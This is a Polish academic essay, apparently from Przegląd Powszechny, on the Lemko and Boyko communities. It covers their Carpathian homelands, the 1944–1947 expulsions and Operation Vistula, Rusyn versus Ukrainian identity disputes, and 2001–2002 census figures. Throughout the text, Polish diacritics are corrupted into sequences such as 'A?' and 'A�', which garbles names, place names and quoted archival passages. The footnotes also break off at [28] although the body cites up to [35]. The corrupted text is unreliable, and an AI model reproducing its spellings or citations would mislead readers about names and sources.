Przegląd Powszechny

A A A

A?emkowie i Bojkowie

komentarze

OkreA�lenie a�zmaA�ej ojczyznya�? A?emkA?w nie budzi A?adnych wA�tpliwoA�ci. Kwestia a�zwielkiej ojczyznya�? jest bardziej skomplikowana. Zagadnienie przynaleA?noA�ci narodowej A?emkA?w jest przedmiotem sporA?w.

ppA?emkowska chyA?a we wsi Nowica

(fot. mzopw / Wikipedia Commons / CC BY)

A?emkami okreA�la siA� w tradycji ukraiA�skiej mieszkaA�cA?w A?emkowszczyzny, regionu rozciA�gajA�cego siA� po pA?A�nocnej i poA�udniowej stronie Karpat[1]. Stanowi on swoisty pA?A�wysep miA�dzy polskim a sA�owackim obszarem etnograficznym. LiczbA� A?emkA?w na SA�owacji ocenia siA� wspA?A�czeA�nie na 100-140 tys.[2]. ZamieszkujA� region, nazywany przez SA�owakA?w Szaryszem, a takA?e niewielkie skrawki Spiszu i Zemplina[3]. Przez UkraiA�cA?w ten region okreA�lany jest RusiA� PreszowskA� lub PreszowszczyznA�. Osiedla A?emkA?w w granicach Polski obejmowaA�y a�� wg opinii ukraiA�skich badaczy a�� do 1947 r. poA�udniowe tereny powiatA?w: nowosA�deckiego, gorlickiego, jasielskiego, kroA�nieA�skiego, sanockiego, poA�udniowo-zachodnie leskiego i kilka wiosek nowotarskiego[4]. W latach trzydziestych XX w. liczbA� ludnoA�ci A�emkowskiej w Polsce szacowano na ok. 160 tys. ZamieszkiwaA�a ona blisko 300 wsi.

W Polsce upowszechniona zostaA�a, przez wybitnego etnografa Romana Reinfussa, opinia, A?e wschodnia granica historycznej A?emkowszczyzny biegA�a za rzekA� OsA�awA�, szczytami Bukowicy i Wielkiego DziaA�u[5]. Dalej, po rzekA� San rozciA�gaA�a siA� a�� zdaniem Reinfussa a�� tzw. strefa przejA�ciowa A�emkowsko-bojkowska. Takie ujA�cie granic A?emkowszczyzny wykluczaA�o z jej obszaru powiat leski i wiA�kszoA�A� powiatu sanockiego. RA?A?nice opinii na temat wschodnich granic regionu majA� znaczenie nie tylko naukowo-badawcze. StanowiA� istotny element rozwaA?aA� o przynaleA?noA�ci narodowej A?emkA?w.

Do II wojny A�wiatowej ludnoA�A� A�emkowska powszechnie posA�ugiwaA�a siA� dialektami przynaleA?nymi do jA�zyka ukraiA�skiego[6]. Niemniej zawierajA� one wiele sA�A?w zapoA?yczonych z jA�zyka sA�owackiego i polskiego. Najbardziej charakterystycznA� cechA� dialektA?w A�emkowskich jest posA�ugiwanie siA� sA�owem a�zA�ema�? (a�zlecza�?, a�zalea�?), zapoA?yczonym ze sA�owackiego a�zlema�?, a�zlena�?. WspA?A�czeA�nie w Polsce tylko niewielka czA�stka A?emkA?w posA�uguje siA� tym dialektem w A?yciu codziennym. Funkcjonuje on gA�A?wnie podczas specjalnych okazji, jak spotkania rodzinne czy imprezy folklorystyczne.

W latach 1944-1947 nastA�piA�y na terenie polskiej A?emkowszczyzny tragiczne przemieszczenia ludnoA�ci. 9 wrzeA�nia 1944 r. Polski Komitet Wyzwolenia Narodowego i rzA�d UkraiA�skiej Socjalistycznej Republiki Radzieckiej podpisaA�y ukA�ad, w ktA?rym obie strony zobowiA�zaA�y siA� do ewakuacji z Polski wszystkich obywateli narodowoA�ci ukraiA�skiej, biaA�oruskiej, rosyjskiej i rusiA�skiej[7], jak rA?wnieA? przystA�piA� do przesiedlenia z ZSRR wszystkich PolakA?w i A�ydA?w bA�dA�cych obywatelami polskimi do 17 wrzeA�nia 1939 r. Przesiedlenie miaA�o mieA� charakter dobrowolny. Wymiana ludnoA�ci przybraA�a w istocie charakter brutalnej akcji wysiedleA�czej[8]. Wojsko otaczaA�o A�emkowskie wsie. Zmuszano ludnoA�A� do pospiesznego pakowania dobytku i prowadzono, pod eskortA�, do obozA?w przejA�ciowych, otoczonych drutem kolczastym. StamtA�d wysyA�ano ich transportami kolejowymi na radzieckA� UkrainA�. LudnoA�A� chroniA�a siA� przed wojskiem w lasach. A�oA�nierze urzA�dzali wiA�c obA�awy na uciekinierA?w. Rodziny A�emkowskie masowo uciekaA�y do CzechosA�owacji, skA�d jednak byA�y usuwane z powrotem na polskA� stronA�[9].

Aswiadectwem tragicznego poA�oA?enia ludnoA�ci A�emkowskiej sA� raporty dowA?dcA?w jednostek armii czechosA�owackiej zgromadzone w archiwach sA�owackich i czeskich. Oto fragmenty jednego dokumentu, pochodzA�cego z 24 maja 1946 r.: MeldujA�, A?e dnia 21 maja 1946 roku o godz. 2.00 zostaA�a zakoA�czona akcja usuwania ukraiA�skich uciekinierA?w, posiadajA�cych polskA� przynaleA?noA�A� paA�stwowA�, ktA?rzy przed trzema miesiA�cami zbiegli z polskiego pogranicza na terytorium CSR, z obawy przed polskim terrorem. W trakcie akcji zatrzymano 4011 osA?b (…). Uciekinierzy byli niedoA?ywieni i czA�sto chorzy. W szczegA?lnie zA�ym stanie znajdowaA�y siA� dzieci. UchodA?cy nie chcieli za A?adnA� cenA� wracaA� do Polski. MA�A?czyA?ni, kobiety i dzieci kA�adli siA� na ziemi i prosili, aby ich raczej zastrzeliA� niA? oddawaA� w rA�ce polskich wA�adz. Chcieli pozostawiA� swA?j dobytek na terytorium CSR, poniewaA? Polacy i tak im wszystko zabiorA�[10].

Grupa mA�odzieA?y A�emkowskiej wstA�piA�a do UkraiA�skiej PowstaA�czej Armii. Poparcie dla UPA byA�o we wschodniej czA�A�ci regionu dosyA� silne[11]. Stosunkowo sA�abe natomiast w czA�A�ci zachodniej[12]. Nigdy nie kierowano jednak wobec A?emkA?w zarzutA?w o dokonywanie czystki etnicznej ludnoA�ci polskiej.

PragnA�c uniknA�A� wysiedlenia, ludnoA�A� A�emkowska kierowaA�a do wA�adz petycje, w ktA?rych zapewniaA�a o lojalnej postawie wobec paA�stwa polskiego. Zwracano rA?wnieA? uwagA�, A?e umowa z 9 wrzeA�nia 1944 r. nie przewidywaA�a wymiany ludnoA�ci A�emkowskiej. Kwestia ta stanowiA�a na tyle powaA?ny problem dla wA�adz, A?e GA�A?wny Przedstawiciel RzA�du RP do Spraw Ewakuacji zwrA?ciA� siA� 1 kwietnia 1945 r. do Polskiej Akademii UmiejA�tnoA�ci z proA�bA� o okreA�lenie narodowoA�ci A?emkA?w. OdpowiedA? nadeszA�a 16 kwietnia. W nadesA�anej ekspertyzie stwierdzono, A?e A?emkowie sA� takA� samA� ludnoA�ciA� ruskA�, jak rdzenna ludnoA�A� b. wschodniej Galicji[13]. Jednoznacznie uznano ich zatem za przynaleA?nych do narodu ukraiA�skiego. PrzypieczA�towaA�o to los ludnoA�ci A�emkowskiej.

Wysiedlanie ludnoA�ci ukraiA�skiej z Polski prowadzono do koA�ca 1946 r., gdy wA�adze radzieckie ostatecznie odmA?wiA�y przyjmowania dalszych transportA?w. Wsie A�emkowskie opustoszaA�y. Wysiedlono blisko 95 tys. A?emkA?w, a zatem ok. 2/3 tej ludnoA�ci. PozostaA�A� czA�A�A� ludnoA�ci A�emkowskiej (ok. 30-35 tys.) wA�adze komunistyczne deportowaA�y, w 1947 r., w ramach akcji a�zWisA�aa�? na Ziemie Odzyskane[14].

Deportowani podejmowali rozpaczliwe prA?by powrotu w rodzinne strony, ktA?re najczA�A�ciej koA�czyA�y siA� ponownA� deportacjA�. Dopiero po 1956 r. pojawiA�y siA� moA?liwoA�ci powrotu ograniczane jednak przez wA�adze. W latach 1957-1958 miaA�a miejsce stosunkowo znaczna fala powrotA?w A?emkA?w gA�A?wnie do powiatu gorlickiego, w wojewA?dztwie rzeszowskim[15]. Powracano takA?e w latach pA?A?niejszych, lecz na mniejszA� skalA�.

Obecnie w Polsce A?emkowie zamieszkujA� przede wszystkim na Dolnym AslA�sku i Ziemi Lubuskiej (gA�A?wnie okolice Legnicy, Lubina, Chocianowa, GA�ogowa, WoA�owa, Przemkowa, Szprotawy, Nowej Soli, Zielonej GA?ry, Aswiebodzina, MiA�dzyrzecza, Skwierzyny, Strzelec KrajeA�skich, Gorzowa Wielkopolskiego). StanowiA� takA?e znaczny odsetek niektA?rych wsi w wojewA?dztwie podkarpackim (Bartne, Blechnarka, Bielanka, Konieczna, Kunkowa, WoA�owiec, Wysowa).

Na SA�owacji A?emkowie uniknA�li po II wojnie A�wiatowej tragicznych doA�wiadczeA� swoich krajanA?w z Polski. W wielu miejscowoA�ciach na Szaryszu moA?na nadal usA�yszeA� w miejscach publicznych rozmowy prowadzone w dialekcie A�emkowskim, chociaA? tam rA?wnieA? wystA�pujA� procesy asymilacyjne. Na Ukrainie A?emkowie zamieszkujA� w wiA�kszoA�ci w okrA�gach: lwowskim, tarnopolskim, iwano-frankowskim (stanisA�awowskim)[16]. IstniejA� rA?wnieA? skupiska A�emkowskiej diaspory w Kandzie, USA, krajach baA�kaA�skich (Serbia, Chorwacja) oraz w innych paA�stwach.

Czynnikiem jednoczA�cym A?emkA?w jest przede wszystkim bardzo silny zwiA�zek emocjonalny z ziemiA� ich przodkA?w a�� A?emkowszczyznA�. Kolejne pokolenia kultywujA� pamiA�A� o karpackich przodkach. Wielu A?emkA?w zakA�ada domki letniskowe w miejscowoA�ciach, z ktA?rych wywodzA� siA� ich rodziny. Wyrazem zwiA�zkA?w A?emkA?w z ich a�zmaA�A� ojczyznA�a�? sA� przede wszystkim a�zWatrya�?, czyli wielkie zjazdy ludnoA�ci A�emkowskiej, ktA?re odbywajA� siA� raz w roku, w lipcu. Ich historia siA�ga lat osiemdziesiA�tych XX w. Od 1990 r. a�zWatrya�? odbywajA� siA� we wsi A�dynia w gminie UA�cie Gorlickie. Co roku maA�a, zagubiona w gA?rach wioska zmienia siA� w metropoliA�. Obok wsi wyrasta miasto namiotowe. Wielu ludzi mieszka takA?e w okolicznych hotelach i pensjonatach. ZjeA?dA?ajA� siA� A?emkowie niemal ze wszystkich krajA?w A�wiata. Przede wszystkim przybywajA� z Polski, ale takA?e ze SA�owacji, Ukrainy, BaA�kanA?w oraz USA i Kanady. Nierzadko sA� to juA? ludzie zaawansowani wiekiem. Jednak godzA� siA� na niewygody zwiA�zane z dalekA� podrA?A?A� i biwakowaniem pod namiotem, by przez krA?tki czas przebywaA� u siebie, wA�rA?d swoich.

Centralnym oA�rodkiem a�zWatrya�? jest amfiteatr, w ktA?rym odbywajA� siA� wystA�py artystyczne nawiA�zujA�ce do tradycji A�emkowskiej. WystA�pujA� grupy rockowe czy hip-hopowe, A�piewajA�ce po A�emkowsku oraz twA?rcy prezentujA�cy poezjA� A�piewanA�. NajwiA�kszym powodzeniem cieszA� siA� zespoA�y prezentujA�ce tradycyjny, A�emkowski folklor. Jednak a�zWatraa�? to przede wszystkim spotkania towarzyskie. W A�dyni odbywajA� siA� prawdziwe zjazdy rodzinne. SpotykajA� siA� koledzy, ktA?rzy nie widzieli siA� od lat, i zawiA�zujA� siA� nowe przyjaA?nie. a�zWatraa�? nie zasypia nigdy, A?ycie towarzyskie trwa przez caA�A� dobA�.

Asrodowiska A�emkowskie organizujA� w Polsce jeszcze dwie a�zWatrya�? a�� we wsi MichaA�A?w w powiecie polkowickim w wojewA?dztwie dolnoA�lA�skim oraz we wsi A?ugi w powiecie strzelecko-drezdeneckim w wojewA?dztwie lubuskim. CieszA� siA� duA?A� popularnoA�ciA�, lecz ich ranga jest mniejsza od imprezy w A�dyni. Nazywane sA� a�zWatramia�? na czuA?yni, czyli na obczyA?nie. W ten sposA?b A?emkowie okreA�lajA� swojA� postawA� wobec ziem zachodnich Polski, gdzie zresztA� wiA�kszoA�A� z nich zamieszkuje. Jest to dla nich obczyzna, z ktA?rA� nie odczuwajA� silnego zwiA�zku emocjonalnego. Trudno siA� dziwiA�, zostali na tej ziemi osiedleni przymusem i doznali wielu upokorzeA�.

OkreA�lenie a�zmaA�ej ojczyznya�? A?emkA?w nie budzi A?adnych wA�tpliwoA�ci. Kwestia a�zwielkiej ojczyznya�? jest bardziej skomplikowana. Zagadnienie przynaleA?noA�ci narodowej A?emkA?w jest przedmiotem sporA?w w opracowaniach naukowych. Budzi takA?e gwaA�towne dyskusje, podczas rozmA?w towarzyskich w A�rodowisku A�emkowskim. Na przeA�omie XIX i XX w. wytworzyA�y siA� wA�rA?d A?emkA?w dwie orientacje polityczne a�� ukraiA�ska i moskalofilska. Zwolennicy pierwszej uwaA?ali A?emkA?w za czA�A�A� skA�adowA� narodu ukraiA�skiego. Moskalofile byli zorientowani na RosjA� carskA�[17]. Orientacja ta znacznie przewaA?aA�a, poniewaA? potA�ga paA�stwa carA?w imponowaA�a A?emkom. W Rosji postrzegali swego naturalnego sojusznika.

Dopiero wydarzenia lat I wojny A�wiatowej podwaA?yA�y wiarA� A?emkA?w w potA�gA� Rosji, ktA?ra w 1917 r. pogrA�A?yA�a siA� w wojnie domowej. WA�adzA� w dawnym imperium carA?w zdobyli bolszewicy. Nowi wA�adcy Rosji nie wzbudzali entuzjazmu u A�emkowskich moskalofilA?w, ktA?rzy byli na ogA?A� zdecydowanymi konserwatystami. Upadek Rosji carskiej nie spowodowaA� jednak masowego zwrotu orientacji A?emkA?w w kierunku ukraiA�skim. Niewielki odA�am moskalofilA?w A�emkowskich ewoluowaA� w stronA� komunizmu. WiA�kszoA�A� skA�aniaA�a siA� jednak stopniowo w stronA� orientacji rusiA�skiej[18]. Nazywana jest ona rA?wnieA? karpatorusiA�skA�.

Idea rusinizmu uksztaA�towaA�a siA� na Rusi Zakarpackiej, skA�d przeniknA�A�a na PreszowszczyznA� i polskA� A?emkowszczyznA�[19]. PowaA?ne wpA�ywy zdobyA�a rA?wnieA? w A�rodowiskach emigracyjnych w Kanadzie i USA. W myA�l tej idei Rusini nie sA� ani UkraiA�cami, ani Rosjanami, lecz odrA�bnym narodem. Do narodu rusiA�skiego zalicza siA� polskich i sA�owackich A?emkA?w, BojkA?w, HucuA�A?w oraz ludnoA�A� Rusi Zakarpackiej. Ruch rusiA�ski zostaA� stworzony przez dziaA�aczy zwiA�zanych z WA�grami, pod ktA?rych panowaniem znajdowaA�a siA� RuA� Zakarpacka i SA�owacja do 1918 r. W okresie miA�dzywojennym byA� wspierany przez paA�stwo wA�gierskie, ktA?re dA�A?yA�o do rozkA�adu wewnA�trznego CzechosA�owacji i odbudowy granic sprzed I wojny A�wiatowej[20]. RA?wnieA? Czesi wykorzystywali konflikt miA�dzy orientacjA� rusiA�skA� a ukraiA�skA� na Rusi Zakarpackiej dla wA�asnych celA?w.

Rusinizm wspieraA�a Rzeczpospolita Polska, postrzegajA�c w tym ruchu A�rodek na ograniczenie rozwoju ukraiA�skiej A�wiadomoA�ci narodowej. PaA�stwo polskie, w okresie miA�dzywojennym wspomagaA�o ruch rusiA�ski w CzechosA�owacji. PopieraA�o takA?e orientacjA� rusiA�skA� na A?emkowszczyA?nie[21]. Natomiast powstaA�a po II wojnie A�wiatowej Polska Rzeczpospolita Ludowa, rzA�dzona przez komunistA?w, nie uznawaA�a A?emkA?w za odrA�bny narA?d. Niemniej a�� jak moA?emy wnioskowaA� z ujawnionych wspA?A�czeA�nie akt sA�uA?b specjalnych a�� komunistyczna SA�uA?ba BezpieczeA�stwa inspirowaA�a spory w A�rodowisku mniejszoA�ci ukraiA�skiej w Polsce, na tle A�emkowskiego separatyzmu[22].

KwestiA� obcej inspiracji w procesie ksztaA�towania siA� i rozwoju rusinizmu silnie akcentuje historiografia ukraiA�ska, sprowadzajA�c nierzadko jego rolA� do obcej dywersji, wymierzonej przeciwko narodowi ukraiA�skiemu. PoglA�d ten wydaje siA� jednak duA?ym uproszczeniem. NiezaleA?nie od intencji przywA?dcA?w ruchu oraz ich, niejasnych niekiedy, powiA�zaA� politycznych, rusinizm wyrA?sA� z rzeczywistego zapotrzebowania spoA�ecznego. Stanowi odzwierciedlenie przekonaA� tkwiA�cych gA�A�boko w A�wiadomoA�ci swoich zwolennikA?w, chociaA? nie zawsze realnych.

Po upadku komunizmu w Europie Asrodkowo-Wschodniej nastA�piA�a swoista eksplozja tendencji karpatorusiA�skich w niektA?rych A�rodowiskach. Na Ukrainie ruch ten nazywany jest neorusinizmem. Celem jego jest stworzenie paA�stwa o nazwie RuA� Karpacka ewentualnie Podkarpacka[23]. GA�A?wnA� czA�A�A� tego paA�stwa stanowiA�oby Zakarpacie, a takA?e sA�owacka Preszowszczyzna, polska A?emkowszczyzna i niewielkie skrawki WA�gier oraz Rumunii[24]. W ruchu neorusiA�skim (zwA�aszcza na Zakarpaciu) widoczne sA� tendencje prorosyjskie.

GA�A?wnym oA�rodkiem neorusinizmu jest Zakarpacie stanowiA�ce czA�A�A� Ukrainy[25]. Silne wpA�ywy ma takA?e karpatorusinizm wA�rA?d ludnoA�ci A�emkowskiej na SA�owacji. Podczas spisu powszechnego na SA�owacji w 2001 r. narodowoA�A� rusiA�skA� deklarowaA�o 24A�201 obywateli, natomiast ukraiA�skA� 10A�814[26]. PodziaA� na tle narodowoA�ciowym wystA�puje takA?e w A�rodowisku A�emkowskim w Polsce. Podczas spisu powszechnego w 2002 r. narodowoA�A� ukraiA�skA� deklarowaA�o 30A�957 obywateli Polski, a A�emkowskA� 5863 osoby[27].

NajwiA�kszym skupiskiem ludnoA�ci deklarujA�cej narodowoA�A� A�emkowskA� sA� okolice Legnicy na Dolnym AslA�sku. W trakcie przeprowadzonego w 2002 r. spisu powszechnego narodowoA�A� A�emkowskA� deklarowano przede wszystkim w powiatach: polkowickim (gminy ChocianA?w, Polkowice, PrzemkA?w, Radwanice), lubiA�skim (gminy Lubin, Rudna, Ascinawa), legnickim (gminy Legnica, ChojnA?w, Prochowice, Kunice, Krotoszyce, Legnickie Pole, Ruja, MiA�kowice). OpcjA� A�emkowskA� wskazywaA�a rA?wnieA? stosunkowo znaczna liczba mieszkaA�cA?w gminy Gromadka w powiecie BolesA�awiec. Na wskazanym obszarze narodowoA�A� tA� deklarowaA�o 2564 respondentA?w. Zatem prawie poA�owa populacji, deklarujA�cej tA� narodowoA�A� w Polsce, zamieszkuje na obszarze wspomnianych czterech powiatA?w. Trzeba jednak dodaA�, A?e w trakcie wspomnianego spisu w powiatach polkowickim, lubiA�skim, legnickim oraz w gminie Gromadka narodowoA�A� ukraiA�skA� deklarowaA�o 840 osA?b[28]. To takA?e przede wszystkim A?emkowie.

Stosunkowo znaczna liczba osA?b zadeklarowaA�a narodowoA�A� A�emkowskA� na obszarze historycznej A?emkowszczyzny. W gminach: Krynica-ZdrA?j, Muszyna, UA�cie Gorlickie, SA�kowa, Ropa, Lipinki, Osiek Jasielski, Krempna, Dukla, KomaA�cza, Gorlice takA� deklaracjA� zA�oA?yA�y w trakcie spisu 1642 osoby. Jednak 789 osA?b zadeklarowaA�o narodowoA�A� ukraiA�skA�. GminA� UA�cie Gorlickie moA?na a�� A�wietle danych spisowych a�� uznaA� za najbardziej A�emkowskA� w Polsce. TakA� narodowoA�A� zadeklarowaA�o 11,6% mieszkaA�cA?w gminy (725 osA?b). Natomiast w gminie KomaA�cza deklaracje narodowoA�ci ukraiA�skiej (521 osA?b) znacznie przewaA?aA�y nad A�emkowskimi (35 osA?b).

Nie ulega wA�tpliwoA�ci, A?e wA�rA?d prawie 31 tys. obywateli Rzeczypospolitej, ktA?rzy zadeklarowali podczas spisu narodowoA�A� ukraiA�skA� znacznA� liczbA� stanowili A?emkowie. Jednostki deklarujA�ce narodowoA�A� A�emkowskA� stanowiA� zaplecze dla ruchu neorusiA�skiego w Polsce, jednak deklarowanie narodowoA�ci A�emkowskiej nie oznaczaA�o automatycznie poparcia dla tych idei. Wielu respondentA?w traktowaA�o takA� deklaracjA� po prostu jako podkreA�lenie wA�asnej odrA�bnoA�ci zarA?wno od PolakA?w jak i UkraiA�cA?w. O karpatorusinizmie nie sA�yszeli, lub uwaA?ajA� tA� ideA� za dziwactwo. Inni traktowali takA� deklaracjA� jako swoisty unik wobec polskiego otoczenia. Otwarte deklarowanie ukraiA�skiej narodowoA�ci w Polsce moA?e wywoA�aA� ostracyzm ze strony lokalnego A�rodowiska[29].

W Polsce dziaA�ajA� dwie gA�A?wne organizacje A�emkowskie. Zjednoczenie A?emkA?w wykazuje orientacjA� ukraiA�skA�, a Stowarzyszenie A?emkA?w a�� neorusiA�skA�. KaA?da z nich uwaA?a siA� za jedynego uprawnionego reprezentanta ludnoA�ci A�emkowskiej, a miA�dzy liderami toczy siA� ostry spA?r. Jednak spoA�ecznoA�A� A�emkowska odnosi siA� na ogA?A� z dystansem do tej a�zwojny na gA?rzea�?. A?emkowie-Rusini licznie przybywajA� na a�zWatrA�a�? w A�dyni, organizowanA� przez Zjednoczenie A?emkA?w, a A?emkowie-UkraiA�cy nie unikajA� bynajmniej a�zWatrya�? w MichaA�owie, organizowanej przez Stowarzyszenie A?emkA?w.

PodziaA�y w spoA�ecznoA�ci A�emkowskiej majA� w duA?ej mierze podA�oA?e religijne. W okresie miA�dzywojennym czA�A�A� A?emkA?w (ok. 20%) dokonaA�a konwersji religijnej z grekokatolicyzmu na prawosA�awie[30]. W wyniku akcji a�zWisA�aa�? duA?A� grupA� prawosA�awnych A?emkA?w osiedlono na Dolnym AslA�sku, w okolicach Legnicy[31]. WspA?A�czeA�nie zwolennicy karpatorusinizmu to przede wszystkim wyznawcy prawosA�awia.

Asrodki masowego przekazu w Polsce, przedstawiajA�c podziaA�y w spoA�ecznoA�ci A�emkowskiej, czyniA� to czA�sto w sposA?b nieodzwierciedlajA�cy rzeczywistoA�ci, rozrA?A?niajA�c mniejszoA�A� ukraiA�skA� i A�emkowskA�. W istocie narodu A�emkowskiego z caA�A� pewnoA�ciA� nie ma, ani nikt nie dA�A?y do jego stworzenia. Stowarzyszenie A?emkA?w uwaA?a ludnoA�A� A�emkowskA� za regionalnA� czA�stkA� narodu rusiA�skiego czy raczej karpatorusiA�skiego. Natomiast duA?a czA�A�A� A?emkA?w uwaA?a siebie za regionalnA� czA�stkA� narodu ukraiA�skiego.

Niekiedy publicyA�ci w Polsce wymieniajA� obok tzw. mniejszoA�ci A�emkowskiej rA?wnieA? mniejszoA�A� bojkowskA�. Historyczna Bojkowszczyzna obejmuje Bieszczady Wysokie, wschodniA� czA�A�A� Bieszczad Asrodkowych, zachodniA� czA�A�A� GorganA?w, czA�A�A� Asrodkowych Karpat[32]. Bojkowie zamieszkujA� przede wszystkim na Ukrainie, a takA?e w Polsce oraz na SA�owacji. Podobnie jak A?emkA?w wyrA?A?nia ich specyficzna gwara i obyczaje. W przeszA�oA�ci cechowaA� ich takA?e odrA�bny ubiA?r oraz styl budownictwa. Na tym jednak podobieA�stwa do A?emkA?w koA�czA� siA�.

Bojkowie nie wykazujA� toA?samoA�ci regionalnej, solidarnoA�ci wewnA�trznej ani szczegA?lnego zwiA�zku z a�zmaA�A� ojczyznA�a�?. Nie akceptujA� takA?e swojej nazwy, ktA?rA� uwaA?ajA� za lekcewaA?A�cA�. Tak okreA�lani sA� przez sA�siadA?w, ale A?aden a�znormalnya�? Bojko nie przyzna siA�, A?e jest Bojkiem. W 2006 r. przebywaA�a na BojkowszczyA?nie ekspedycja etnologA?w, zorganizowana przez Instytut Etnologii i Antropologii Kulturowej UAM w Poznaniu[33]. Uczestnikom ekspedycji nie udaA�o siA� odnaleA?A� BojkA?w. Wszyscy rozmA?wcy zdecydowanie zaprzeczali, jakoby naleA?eli do spoA�ecznoA�ci o takowej nazwie. Czasami okreA�lali tak mieszkaA�cA?w sA�siednich wsi, ale siebie nigdy. Jak stwierdziA� jeden z uczestnikA?w ekspedycji: Wioska, w ktA?rej realizowaA�em swoje badania leA?y na obszarze okreA�lanym przez etnografA?w jeszcze od XIX wieku mianem Bojkowszczyzny. ZamieszkiwaA� jA� ma ludnoA�A� okreA�lana mianem grupy etnograficznej, a czasem nawet grupy etnicznej, a nazywana Bojkami. Praktyka badaA� terenowych zrodziA�a we mnie pewne wA�tpliwoA�ci, co do sA�usznoA�ci uA?ywania obu nazw w stosunku do obecnych mieszkaA�cA?w tego obszaru[34].

Teoretycy neorusinizmu uwaA?ajA� BojkA?w za czA�A�A� skA�adowA� etnosu karpatorusiA�skiego[35]. Jednak ludnoA�A� bojkowskA�, zarA?wno na Ukrainie, SA�owacji jak i w Polsce cechuje duA?a odpornoA�A� na idee rusiA�skie. Bojkowie znani sA� natomiast z silnego patriotyzmu ukraiA�skiego. W latach II wojny A�wiatowej oraz w okresie powojennym region ten byA� swoistym bastionem UPA.

W Polsce po II wojnie A�wiatowej Bojkowie podzielili los innych ukraiA�skich grup regionalnych. W ramach akcji a�zWisA�aa�? wysiedlano ich gA�A?wnie na Pomorze oraz na WarmiA� i Mazury. Podobnie jak ich pobratymcy na Ukrainie nie nazywajA� jednak siebie Bojkami ani nie przejawiajA� silniejszej wiA�zi z bojkowskA� tradycjA� regionalnA�. UwaA?ajA� siA� za UkraiA�cA?w (oczywiA�cie poza jednostkami, ktA?re ulegA�y caA�kowitej polonizacji). W Polsce nie dziaA�ajA� odrA�bne organizacje bojkowskie. Podczas spisu powszechnego nie deklarowano takiej przynaleA?noA�ci narodowej. Brak wiA�c podstaw, by w Rzeczypospolitej wyrA?A?niaA� mniejszoA�A� bojkowskA�.

Bohdan Halczak, dr hab., prof. Uniwersytetu ZielonogA?rskiego, kierownik ZakA�adu Historii Idei i RuchA?w SpoA�ecznych Instytutu Politologii UZ.


[1] WspA?A�czeA�nie, na Ukrainie A?emkami okreA�la siA� caA�A� mniejszoA�A� ukraiA�skA� w Polsce, jakkolwiek tylko czA�A�A� tej ludnoA�ci wywodzi siA� z historycznej A?emkowszczyzny.

[2] J. Makar, Kwestia BojkA?w, HucuA�A?w, A?emkA?w, RusinA?w wobec problemu jednoA�ci narodu ukraiA�skiego, w: S. Dudra, B. Halczak, A. Ksenicz, J. StarzyA�ski (red.), A?emkowie, Bojkowie, Rusini a�� historia, wspA?A�czesnoA�A�, kultura materialna i duchowa, Legnica-Zielona GA?ra 2007, s. 74.

[3] D. DA�browski, RusiA�ska karta w Karpatach. Z zagadnieA� tajnych dziaA�aA� polskiej dyplomacji i wywiadu na Rusi Podkarpackiej i wschodniej SA�owacji, przed wybuchem II wojny A�wiatowej, w: tamA?e, s. 118.

[4] J. Makar, dz. cyt., s. 74.

[5] R. Reinfuss, A?emkowie (opis etnograficzny), KrakA?w 1936, s. 1.

[6] J. Rieger, SA�ownictwo i nazewnictwo A�emkowskie, Warszawa 1995, s. 268.

[7] R. Drozd, Powojenne wysiedlenia A?emkA?w polskich w latach 1944-1950, w: A?emkowie, Bojkowie, Rusini, s. 131.

[8] TenA?e, Polityka wA�adz wobec ludnoA�ci ukraiA�skiej w Polsce w latach 1944-1989, Warszawa 2001, s. 30-60.

[9] M. A�migel, A�. KruA?ko, Opcia, PreA?ov 2005, s. 58-68.

[10] Archiv bezpeA?nostnA?ch zloA?iek (ABS) Praha, f. 307-95-22. HlA?senie styA?nA�ho dostojnika PV VI. Odbor pri velitela��stve a�zOcela�? (24.5.1946). Dokument uzyskany dziA�ki pomocy prof. Michala A�migela z Uniwersytetu w BaA�skiej Bystrzycy.

[11] B. Halczak, A?emky i jichne widnoszennia do Ukraijinskoji PowstanA�koji Armiji, a�zUkrajinskij Almanach 2009a�? Warszawa 2009, s. 175-185.

[12] B. Halczak, M. A�migel, DziaA�alnoA�A� oddziaA�u UPA a�zSmyrnegoa�? na pograniczu polsko-czechosA�owackim w latach 1945-1948, w: UkraiA�cy w najnowszych dziejach Polski 1918-1989, SA�upsk 2007, t. 3, s. 91-104.

[13]R. Drozd, Powojenne wysiedlenia A?emkA?w polskich, s. 137.

[14] K. PudA�o, A?emkowie. Proces wrastania w A�rodowisko Dolnego AslA�ska 1947-1985, WrocA�aw 1987, s. 24 ; M. Pecuch, WpA�yw szkolnictwa na procesy akulturacji, asymilacji i rekulturacji A?emkA?w, a�zRocznik Lubuskia�? t. XXX, czA�A�A� I, Zielona GA?ra 2004, s. 133.

[15] R. Drozd, Polityka wA�adz, s. 179.

[16] M. Pecuch, dz. cyt., s. 133.

[17] J. Moklak, A?emkowszczyzna w Drugiej Rzeczypospolitej. Zagadnienia polityczne i wyznaniowe, KrakA?w 1997, s. 17-32. Autor wyrA?A?nia dodatkowo trzeciA� orientacjA� a�� starorusiA�skA�. Jak jednak przyznaje, rA?A?nice miA�dzy moskalofilami i starorusinami byA�y niewielkie.

[18] TamA?e, s. 45-90.

[19] D. DA�browski, Rzeczpospolita Polska wobec kwestii Rusi Zakarpackiej (Podkarpackiej) 1938-1939, ToruA� 2007, s. 22.

[20] TamA?e, s. 63-148; P. A�vorc, ZakletA? zem. PodkarpatskA? Rus 1918-1946, Praha 2007, s. 114.

[21] J. Moklak, dz. cyt., s. 45-90.

[22] J. Syrnyk, Zagadnienie ukraiA�skie w powiecie lubiA�skim (1947-1989), Lubin-WrocA�aw 2007, s. 74-78.

[23] Otwarcie cel ten deklarujA� najbardziej skrajne odA�amy ruchu a�zkarpatorusiA�skiegoa�? (np. Sejm Podkarpackich RusinA?w), ale A?aden z odA�amA?w caA�kowicie siA� od tej idei nie odciA�A�.

[24] M. MuA?inka, Rusini-Ukrajinci na Slovensku po pA?de komunistickA�ho reA?imu v roku 1989, w: MniejszoA�ci narodowe w Europie Asrodkowo-Wschodniej po upadku komunizmu, Zielona GA?ra 2006, s. 305.

[25] M. DembiA�ska, Strategie narodowotwA?rcze AslA�zakA?w i RusinA?w, w: A?emkowie, Bojkowie, Rusini, s. 27-40; T. Szyszlak, KoA�ciA?A� greckokatolicki a toA?samoA�A� regionalna RusinA?w/UkraiA�cA?w na Zakarpaciu, w: tamA?e, s. 357-373.

[26] M. MuA?inka, dz. cyt., s. 303.

[27] www.stat.gov.pl (pobrane 16 VII 2008 r.).

[28] TamA?e.

